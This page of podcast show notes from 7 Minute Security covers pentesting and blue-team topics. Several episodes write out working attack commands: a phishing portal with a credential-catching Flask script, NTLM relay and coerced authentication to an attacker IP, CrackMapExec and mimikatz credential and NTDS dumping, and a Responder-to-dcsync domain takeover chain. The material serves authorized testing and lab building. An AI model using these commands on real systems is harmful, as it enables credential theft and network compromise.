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7MS #586: DIY Pentest Dropbox Tips – Part 8

Today, sadly, might be the last episode of DIY pentest dropbox tips for a while because I found (well, ChatGPT did actually) the missing link to 100% automate a Kali Linux install! Check episode #449 for more info on building your Kali preseed file, but essentially the last line in my file runs a kali.sh script to download/install all the pentest tools I want. The "missing link" part is I figured out how to get Kali to reboot and then run a script one time to complete all the post-install stuff. So at the bottom of my kali.sh is this: sudo wget https://somesite/kali-docker.sh -O /opt/kali-docker.sh sudo chmod +x /opt/kali-docker.sh sudo touch /flag sudo wget https://somesite/docker.service -O /etc/systemd/system/mydocker.service sudo systemctl daemon-reload sudo systemctl enable mydocker.service The contents of docker.service are: [Unit] Description=Docker install [Service] Type=simple ExecStart=/opt/kali-docker.sh [Install] WantedBy=multi-user.target The beginning and end snippets of kali-docker.sh are: #!/bin/bash flag_file="/flag" if [ -e "$flag_file" ]; then # get bbot sudo docker run -it blacklanternsecurity/bbot:stable --help # Do a bunch of other install things... rm "$flag_file" else echo "Script already ran before. Exiting" fi So essentially the work flow is: kali.sh runs, downloads and installs kali-docker.sh, and also installs a service that runs kali-docker.sh on each reboot. But when kali-docker.sh runs, it checks for the presence of a file called /flag. If /flag exists, all the post-install commands will run. If it does not exist, those commands won't run. Simple, yet genius I think!

Aug 25, 202318 min

7MS #585: DIY Pentest Dropbox Tips – Part 7

Hey friends, today I'm super excited to share I found the missing link! Specifically, the missing piece that now allows me to create fully automated Windows 10 installs that serve as virtual pentest jumpboxes. Here are the high points: When your deployment script is finishing and you need the system to reboot and run some final commands, temporarily add your account as an auto-login account like so: new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name AutoAdminLogon -value 1 -force new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name DefaultUserName -value "your-local-user" -force new-itemproperty -path 'hklm:\software\microsoft\windows nt\currentversion\winlogon' -name DefaultPassword -value "your-password" -force Then tell Windows to run your final script one time after automatically logging in as your-local-user: reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v MyRunOnceKey /t REG_SZ /d "c:\your-final-script.bat" Finally, make sure your your-final-script.bat deletes the auto-login creds: reg delete "hkey_local_machine\software\microsoft\windows nt\currentversion\Winlogon" /v DefaultUserName /f reg delete "hkey_local_machine\software\microsoft\windows nt\currentversion\Winlogon" /v DefaultPassword /f reg delete "hkey_local_machine\software\microsoft\windows nt\currentversion\Winlogon" /v AutoAdminLogon /f

Aug 18, 202324 min

7MS #584: Tales of Pentest Pwnage - Part 50

In today's tale of pwnage, we'll talk about how domain trusts can be dangerous because they have...well...trust issues.

Aug 11, 202317 min

7MS #583: Cred-Capturing Phishing with Caddy Server

Today we talk about crafting cool cred-capturing phishing campaigns with Caddy server! Here's a quick set of install commands for Ubuntu: sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list sudo apt update sudo apt install caddy -y Create an empty directory for your new site, and then create a file called Caddyfile. If all you want is a simple static site (and you've already pointed DNS for yourdomain.com to your Ubuntu droplet, just put the domain name in the Caddyfile: domain.com Then type sudo caddy run - and that's it! You'll serve up a blank site with lovely HTTPS goodness! If you want to get more fancy, make a index.html with a basic phishing portal: Your rad awesome eyeball cool phishing portal! body { background-image: url("https://tangent.town/static/background.jpg"); background-repeat:no-repeat; background-size:cover; } User Name: Password: Unauthorized use is prohibited! This will now be served when you visit domain.com. However, Caddy doesn't (to my knowledge) have a way to handle POST requests. In other words, it doesn't have the ability to log usernames and passwords people put in your phishing portal. One of our pals from Slack asked ChatGPT about it and was offered this separate Python code to run as a POST catcher: from flask import Flask, request app = Flask(__name__) @app.route('/capture', methods=['POST']) def capture(): print(request.form) return 'OK', 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=5000) If you don't have Flask installed, do this: sudo apt install python3-pip -y sudo pip install Flask Run this file in one session, then in your index.html file make a small tweak in the form action directive: Try sending creds through your phishing portal again, and you will see they are now logged in your Python POST catcher!

Aug 4, 202329 min

7MS #582: Using Wazuh as a SIEM for Work and Home

Today we had a blast playing with Wazuh as a SIEM you can use for work and/or home. Inspiration for this episode came from Network Chuck. This one-liner will literally get Wazuh installed in about 5 minutes: curl -sO https://packages.wazuh.com/4.4/wazuh-install.sh && sudo bash ./wazuh-install.sh -a P.S. if you accidentally close your command window before writing down the admin password (like I did), you can use this command to retrieve it: sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt Once Wazuh is installed, I recommend going to Management > Configuration > Edit Configuration, look for a section that starts with and change no to yes. Also, before you start deploying agents, I recommend making some groups for them, which I believe has to be done at the command line: /var/ossec/bin/agent_groups -a -g windows-boxes -q /var/ossec/bin/agent_groups -a -g linux -q From there you should be ready to start rockin' some agent installs. Have fun!

Jul 31, 202350 min

7MS #581: Tales of Pentest Pwnage - Part 49

Oooo, giggidy! Today's tale of pentest pwnage is about pwning vCenter with CVE-2021-44228 - a vulnerability that lets us bypass authentication entirely and do/take what we want from vCenter! Key links to make the magic happen: How to exploit log4j manually in vCenter How to automate the attack! Tool to steal the SAML database you extract from vCenter

Jul 21, 202322 min

7MS #580: Hacking Tommy Callahan - Part 3

Today me and my pal Paul from Project7 did a live hacking session and finally got the Callahan Auto brake pad Web app back online! Hopefully you enjoyed this hacking series. The feedback has been great, so we may have to take a crack at Billy in the near future as well.

Jul 17, 202331 min

7MS #579: Hacking Tommy Callahan - Part 2

Hey friends, today we're continuing our series on pwning the Tommy Boy VM on VulnHub VM! P.S. did you miss part one? Check it out on YouTube. Joe "The Machine" Skeen and I had a blast poking and prodding at the VM in hopes to fix the broken Callahan Auto brake-ordering Web app. Some tips/tricks we cover: It's always a good idea to look at a site's robots.txt file crunch is awesome for making wordlists fcrackzip is rad for cracking encrypted zip files dirbuster works well for busting into hidden files and subfolders exiftool works well to pull metadata out of images

Jul 7, 202337 min

7MS #578: Interview with Mike Toole of Blumira

Today I'm excited to share a featured interview with our new friend Mike Toole of Blumira. We talk about all things EDR, including: How does it differ from something like Windows Defender? What things do I need to keep in mind if I'm in the market for an EDR purchase? Is Mac EDR any good? How do attackers bypass EDR? Will AI create industructible malware, take over the human race and then use our bodies for batteries?

Jun 30, 20231h 0m

7MS #577: Tales of Pentest Pwnage - Part 48

Holy schnikes - this episode is actually 7 minutes long! What a concept! Anyway, today I give you a couple tips that have helped me pwn some internal networks the last few weeks, including: Getting a second (and third?) opinion on Active Directory Certificate Services vulnerabilities! Analyzing the root domain object in BloodHound to find some misconfigs that might equal instant domain admin access!

Jun 16, 20237 min

7MS #575: Annoying Attackers with ADHD - Part 2

Hey friends! Today we're taking a second look at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! The tools covered today include: PHP-HTTP-TARPIT A tool to confuse and waste bot/scanner/hacker time. Grab it here and check out our setup instructions: sudo git clone https://github.com/msigley/PHP-HTTP-Tarpit.git /opt/tarpit cd /opt/tarpit sudo mv la_brea.php /var/www/html/index.php cd /var/www/html/ # Delete the default HTMLM files that are there sudo rm DEFAULT .HTML FILES # Start/restart apache2 sudo service apache2 stop sudo service apache2 start # It's easier to see PHP-HTTP-TARPIT in action from command line: curl -i http://IP.RUNNING.THE.TARPIT Spidertrap This tool tangles Web visitors in a never-ending maze of pages with links! sudo git clone https://github.com/adhdproject/spidertrap.git /opt/spidertrap cd /opt/spidertrap # Open spidertrap.py and change listening port from 8080 to 80 sudo nano spidertrap.py # Run the trap sudo python3 spidertrap.py Weblabyrinth This tool presents visitors with a blurb of text from Alice in Wonderland. That text has links that takes them to...you guessed it...more Alice in Wonderland excerpts! I especially like that if you visit ANY folder or link inside Weblabyrinth, content is served (return code 200 for anything and everything). I had problems getting this running on a fresh Kali box so it's probably better to run right off the ADHD distro using their instructions.

Jun 9, 202333 min

7MS #574: Annoying Attackers with ADHD

Hey friends! Today we're looking at ADHD - Active Defense Harbinger Distribution - a cool VM full of tools designed to annoy/attribute/attack pesky attackers! ADHD gets you up and running with these tools quickly, but the distro hasn't been updated in a while, so I switched to a vanilla Kali system and setup a cowrie SSH honeypot as follows (see 7ms.us for full list of commands).

Jun 2, 202336 min

7MS #573: Securing Your Mental Health - Part 4

Today we're talking about reducing anxiety by hacking your mental health with these tips: Using personal automation to text people important reminders Using Remind to create a personal communication "class" with your family members Using Smartsheet (not a sponsor) to create daily email "blasts" to yourself about all the various project todos you need to tackle

May 26, 202336 min

7MS #572: Protecting Your Domain Controllers with LDAP Firewall

Today we look at LDAP Firewall - a cool (and free!) way to defend your domain controllers against SharpHound enumeration, LAPS password enumeration, and the noPac attack.

May 19, 202326 min

7MS #571: Simple Ways to Test Your SIEM - Part 2

Hey friends! This week I spoke at the Secure360 conference in Minnesota on Simple Ways to Test Your SIEM. This is something I covered a while back on the podcast, but punched up the content a bit and built a refreshed a two-part GitHub gist that covers: Questions you can ask a prospective SIEM/SOC solution to figure out which one is the right fit for you All the tools/tips/scripts/etc. you need to run through 7 (and more!) simple ways to test your SIEM!

May 12, 202331 min

7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

May 5, 202332 min

7MS #569: Interview with Jim Simpson of Blumira

Today we're excited to share a featured interview with our new friend Jim Simpson, CEO of Blumira. Jim was in security before it was hip/cool/lucrative, working with a number of startups as well as some big names like Duo. Blumira and 7 Minute Security have a shared love for helping SMBs be more secure, so it was great to chat with Jim about the IT/security challenges faced by SMBs, and what we can do make security more simple and accessible for them.

Apr 28, 202355 min

7MS #568: Lets Play With the 2023 Local Administrator Password Solution!

Hey friends, today we're playing with the new (April 2023) version of Local Administrator Password Solution (LAPS). Now it's baked right into PowerShell and the AD Users and Tools console. It's awesome, it's a necessary blue team control for any size company, and you should basically stop reading this and install LAPS now.

Apr 21, 202319 min

7MS #567: How to Build an Intentionally Vulnerable SQL Server

Hey friends, today we're talking about building an intentionally vulnerable SQL server, and here are the key URLs/commands talked about in the episode: Download SQL Server here Install SQL via config .ini file Or, install SQL via pure command line Deploy SQL with a service account while also starting TCP/IP and named pipes automagically: setup.exe /Q /IACCEPTSQLSERVERLICENSETERMS /ACTION="install" /FEATURES=SQL /INSTANCENAME=MSSQLSERVER /TCPENABLED=1 /NPENABLED=1 /SQLSVCACCOUNT="YOURDOMAIN\YOUR-SERVICE-ACCOUNT" /SQLSVCPASSWORD="YOUR PASSWORD" /SQLSYSADMINACCOUNTS="YOURDOMAIN\administrator" "YOURDOMAIN\domain users" Run PowerUpSQL to find vulnerable SQL servers: $Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"} Audit the discovered SQL servers: Get-SQLInstanceDomain -verbose | invoke-sqlaudit -verbose Fire off stored procedures to catch hashes! Invoke-SQLUncPathInjection -verbose -captureIP IP.OF-YOUR.KALI.BOX

Apr 14, 202339 min

7MS #566: Tales of Pentest Pwnage - Part 47

Ok, I know we say this every time, but it is true this time yet again: this is our favorite tale of pentest pwnage. It involves a path to DA we've never tried before, and introduced us to a new trick that one of our favorite old tools can do!

Mar 31, 202354 min

7MS #565: How to Simulate Ransomware with a Monkey

Hey friends, today we talk through how to simulate ransomware (in a test environment!) using Infection Monkey. It's a cool way to show your team and execs just how quick and deadly an infection can be to your business. You can feed the monkey a list of usernames and passwords/hashes to use for lateral movement, test network segmentation, set a UNC path of files to actually encrypt (careful - run in a test lab - NOT in prod!) and more!

Mar 24, 202327 min

7MS #564: First Impressions of OVHcloud Hosted vCenter

Today we offer you some first impressions of OVHcloud and how we're seriously considering moving our Light Pentest LITE training class to it! TLDR: It runs on vCenter, my first and only virtualization love! Unlimited VM "powered on" time and unlimited bandwidth Intergration with PowerShell so you can run a single script to "heal" your environment to a gold image Easy integration with pfSense to be able to manage the firewall and internal/external IPs Price comparable to what we're paying now in Azure land

Mar 17, 202343 min

7MS #563: Cracking and Mapping and Execing with CrackMapExec - Part 2

Hey friends, today we're covering part 2 of our series all about cracking and mapping and execing with CrackMapExec. Specifically we cover: # Enumerate where your user has local admin rights: cme smb x.x.x.x/24 -u user -p password # Set wdigest flag: cme smb x.x.x.x -u user -p password -M wdigest -o ACTION=enable # Dump AD creds: cme smb IP.OF.DOMAIN.CONTROLLER -u user -p password --ntds --enabled # Clean up AD dump output: cat /path/to/file.ntds | grep -iv disabled | cut -d ':' -f1,4 | grep -v '\$' | sort # Check ms-ds-machineaccountquota: cme ldap x.x.x.x -u user -p password -M maq # Check for Active Directory Certificate Services: cme ldap x.x.x.x -u user -p password -M adcs # Pull all AD user descriptions: cme ldap x.x.x.x -u user -p password -M get-desc-users # Pull all AD user descriptions down to a file and search for users with "pass" in description: cme ldap x.x.x.x -u user -p password -M user-desc # CrackMapExec database (CME) ## Clear database sudo rm -r ~/.cme ## Handy commands inside the cmedb prompt: hosts shares creds export shares detailed shares.csv export creds detailed creds.txt

Mar 10, 202335 min

7MS #562: Cracking and Mapping and Execing with CrackMapExec

Hey friends, today we covered many things cracking and mapping and execing with CrackMapExec. Specifically: # General enumeration to see if your account works, and where: cme smb x.x.x.x -u username -p pass # Check if print services are enabled: cme smb x.x.x.x -u username -p pass -M spooler # Check for the nopac vuln: cme smb x.x.x.x -u username -p pass -M nopac # Find GP passwords: cme smb DOMAIN.CONTROLLER.IP.ADDRESS -u username -p pass -M gpp_password # Get list of targets with smb signing: cme smb x.x.x.x -u username -p pass --gen-relay-list smbsigning.txt # Set wdigest flag: cme smb x.x.x.x -u username -p pass -M widgest -o ACTION=enable # Dump creds/hashes: cme smb x.x.x.x -u username -p pass -M lsassy # Do pass the hash attacks cme smb x.x.x.x -u username -H HASH # Dump SAM database: cme smb x.x.x.x -u username -p pass --sam # Enumerate SMB shares cme smb x.x.x.x -u username -p pass --shares # Conduct slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7 # Cleanup from slinky attack: cme smb x.x.x.x -u username -p pass -M slinky -o NAME=LOL SERVER=10.0.7.7

Mar 3, 202340 min

7MS #561: Interview with Chris Furner of Blumira

Today I sat down with Chris Furner of Blumira to talk about all things cyber insurance. Many of 7MinSec's clients are renewing their policies this time of year, and many are looking into policies for the first time. Naturally, there are a ton of questions to ask and things to think about to make good coverage decisions for your business: How do I get started in looking for a cyber policy - with my general liability insurer? Or are there companies that specialize just in cyber insurance? How do I make sure I have the appropriate levels of coverage? What are basic things I can do from a security standpoint that pretty much any insurer is going to expect me to do? Enjoy the interview, where we cover these questions - and more! And be sure to also check out Blumira's whitepaper on this topic called The State of Cyber Insurance.

Feb 24, 202346 min

7MS #560: 7MOOCH - Dolphin Rides Are Done Dude

Hey friends, I took a mental health break this week and pre-podcasted this episode of a new series called 7MOOCH: 7 Minutes of Only Chuckles. In today's story, we unpack a situation in Hawaii that made me exclaim the following quite loudly: "Dolphin rides are done, dude!"

Feb 17, 202312 min

7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/[email protected] IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

Feb 10, 202322 min

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

Feb 7, 202322 min

7MS #557: Better Passive Network Visibility Using Teleseer

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

Jan 27, 20237 min

7MS #556: How to Build a Vulnerable Pentest Lab

Today's episode is brought to us by our friends at Blumira! Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically: Spinning up a domain controller with a few lines of PowerShell Installing Active Directory Domain Services Setting up an intentionally cruddy password policy Baking in the MS14-025 vulnerability P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options: https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

Jan 20, 20237 min

7MS #555: Light Pentest eBook 1.1 Release

Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include: Some typos and bug fixes A new section on finding systems with unconstrained delegation and exploiting them A new section on finding easily pwnable passwords via password spraying A new section relaying credentials with MITM6 (be careful using some of its options - read this New ways (and some words of warning) to dump hashes from Active Directory

Jan 13, 20237 min

7MS #554: Simple Ways to Test Your SIEM

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

Jan 6, 202359 min

7MS #553: The Artificial Intelligence Throat Burn Episode

Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023. Merry belated Christmas, happy holidays and happiest of new year to you and yours!

Dec 30, 20225 min

7MS #552: Tales of Pentest Pwnage - Part 45

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today's tale of pentest pwnage covers some of the following attacks/tools: Teleseer for packet capture visualizations on steroids! Copernic Desktop Search Running Responder as Responder.py -I eth0 -A will analyze traffic but not poison it I like to run mitm6 in one window with mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdn and then in another window I do ntlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log - that way I always have a log of everything happening during the mitm6 attack Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)

Dec 24, 202257 min

7MS #551: Interview with Matt Warner of Blumira

Today we welcome our pal Matthew Warner (CTO and co-founder of Blumira) back to the show for a third time (his first appearance was #507 and second was #529). I complained to Matt about how so many SIEM/SOC solutions don't catch early warning signs of evil things lurking in customer networks. Specifically, I whined about 7 specific, oft-missed attacks like port scanning, Kerberoasting, ASREPRoasting, password spraying and more. (Shameless self-promotion opportunity: I will be discussing these attacks on an upcoming livestream on December 29). Matt dives into each of these attacks and shares some fantastic insights into what they look like from a defensive perspective, and also offers practical strategies and tools for detecting them! Note: during the discussion, Matt points out a lot of important Active Directory groups to keep an eye on from a membership point of view. Those groups include: ASAAdmins Account Operators Administrators Administrators Backup Operators Cert Publishers Certificate Service DCOM DHCP Administrators Debugger Users DnsAdmins Domain Admins Enterprise Admins Enterprise Admins Event Log Readers ExchangeAdmins Group Policy Creator Owners Hyper-V Administrators IIS_IUSRS IT Compliance and Security Admins Incoming Forest Trust Builders MacAdmins Network Configuration Operators Schema Admins Server Operators ServerAdmins SourceFireAdmins WinRMRemoteWMIUsers WorkstationAdmins vCenterAdmins

Dec 16, 20221h 10m

7MS #550: Tales of Pentest Fail - Part 5

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Hey friends, today's episode is extra special because it's our first episode we've ever done live and with video(!). Will we do it again? Who knows. But anyway, we had a fun time talking about things that have gone not so well during pentesting lately, specifically: Things we keep getting caught doing (and some potential ways to not get caught! Responder SharpHound CrackMapExec - specifically running -x or -X to enumerate systems PowerHuntShares "FUD sprinklers" - people who cast fear, uncertainty and doubt on your pentest findings A story about the time I took down a domain controller (yikes)

Dec 9, 202252 min

7MS #549: Interview with Christopher Fielder and Daniel Thanos of Arctic Wolf

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Today my friends Christopher Fielder and Daniel Thanos from Arctic Wolf chat with me about what kinds of icky things bad guys/gals are doing to our networks, and how we can arm ourselves with actioanble threat intelligence and do something about it! P.S. This is Christopher's seventh time on the program. Be sure to check out his first, second, third, fourth, fifth and sixth interviews with 7MS.

Dec 2, 20221h 1m

7MS #548: Tales of Pentest Pwnage - Part 44

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Happy belated Thanksgiving! This is not a brag or a flex, but this episode covers a coveted achievement I haven't achieved in my whole life...until now: TDAD: Triple Domain Admin Dance!!!!1111!!!1!1!!!! We talk about the fun attack path that led to the TDAD (hint: always check Active Directory user description fields!), as well as a couple quick, non-spoilery reviews of a few movies: V for Vendetta and The Black Phone.

Nov 25, 202250 min

7MS #547: Tales of Pentest Pwnage - Part 43

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Today we're talking about tales of pentest pwnage - specifically how much fun printers can be to get Active Directory creds. TLDL: get into a printer interface, adjust the LDAP lookup IP to be your Kali box, run nc -lvp 389 on your Kali box, and then "test" the credentials via the printer interface in order to (potentially) capture an Active Directory cred! Today we also define an achievement that's fun to unlock called DDAD: Double Domain Admin Dance.

Nov 18, 202242 min

7MS #546: Securing Your Mental Health - Part 3

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Today we're talking about securing your mental health! I share some behind-the-scenes info about my own mental health challenges, and share a great tip a counselor gave me for getting into a good headspace before heading into a difficult conversation/situation.

Nov 11, 202239 min

7MS #545: First Impressions of Snipe-IT

Today's episode of the 7 Minute Security podcast is brought to you by Blumira, which provides easy-to-use automated detection and response that can be set up in…well..about 7 minutes. Detect and resolve security threats faster, and prevent breaches. Try it free today at blumira.com/7ms. Hey friends, today we're giving you a first impressions look at a free easy asset management tool called Snipe-IT you can use to build your inventory with! Why is this important? Because it's the first critical security control! It might help to see this tool in action, so we invite you to check out our recent Twitch stream where we got it up and running in about 45 minutes.

Nov 4, 202240 min

7MS #544: Interview with Nato Riley of Blumira

Today's episode is brought to us by Blumira, which provides easy to use, automated detection and response that can be setup in…well…about 7 minutes! Detect and resolve security threats faster and prevent breaches. Try it free today at blumira.com/7ms! Today we have a really fun interview with Nato Riley of Blumira. He cut his IT/security teeth working for a cell phone company, exorcising malware demons out of workstations, and even building an email-based SIEM. He has had a very cool career path that involves embracing newbness, pushing aside imposter syndrome, and even begging for jobs! I think this interview can best be summed up by a direct quote from Nato: "Things absolutely go wrong, and I think that's what deters people from trying. But just because something goes wrong, doesn't mean you're necessarily going to die from it. So why not try?"

Oct 28, 202258 min

7MS #543: How to Succeed in Business Without Really Crying - Part 12

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. Hey friends! Today we talk about a SoSaaS (Spreadsheet on Steroids as a Service...not a real thing) that is helping 7MinSec be more organized - both from a project standpoint and from an "alert us when important things are due!" standpoint.

Oct 21, 20221h 0m

7MS #542: Eating the Security Dog Food - Part 5

This podcast is sponsored by Arctic Wolf, whose Concierge Security teams Monitor, Detect and Respond to Cyber threats 24/7 for thousands of customers around the world. Arctic Wolf. Redefining cybersecurity. Visit Arcticwolf.com/7MS to learn more. In today's episode we talk more about eating the security dog food (following the best practices we preach!). Specifically, we focus on keeping that bloated email inbox a little more lean and mean. There are lots of tools/services to help with this, but we had a blast playing with MailStore (not a sponsor but we'd like them to be:-).

Oct 14, 202228 min

7MS #541: Tales of Blue Team Bliss - Part 2

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit SafePass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today we talk about configuring your Active Directory with MFA protection thanks to AuthLite. In the tangent department, we give you a short, non-spoilery review of the film Smile.

Oct 7, 202235 min

7MS #540: Tales of Blue Team Bliss

Today we're excited to kick off a new series all about blue team bliss - in other words, we're talking about pentest stories where the blue team controls kicked our butt a little bit! Topics include: The ms-ds-machineaccount-quota value is not an "all or nothing" option! Check out Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment > Add workstations to domain. We installed LAPS on Twitch last week and it went pretty well! We'll do it again in an upcoming livestream. Defensive security tools that can interrupt the SharpHound collection! EDRs are pretty awesome at catching bad stuff - and going into full "shields up" mode when they're irritated!

Sep 30, 202258 min

7MS #539: Eating the Security Dog Food - Part 4

Today we revisit a series we haven't touched in a long time all about eating the security dog food. TLDL about this series is I often find myself preaching security best practices, but don't always follow them as a consultancy. So today we talk about: How the internal 7MS infosec policy development is coming along Why I'm no longer going to be "product agnostic" going forward Some first impressions of a new tool I'm trying called ITGlue (not a sponsor) How to start building a critical asset list - and how it shouldn't overlook things like domain names and LetsEncrypt certs Also, don't forget we are doing weekly livestreams on security topics!

Sep 23, 202247 min

7MS #538: First Impressions of Airlock Digital

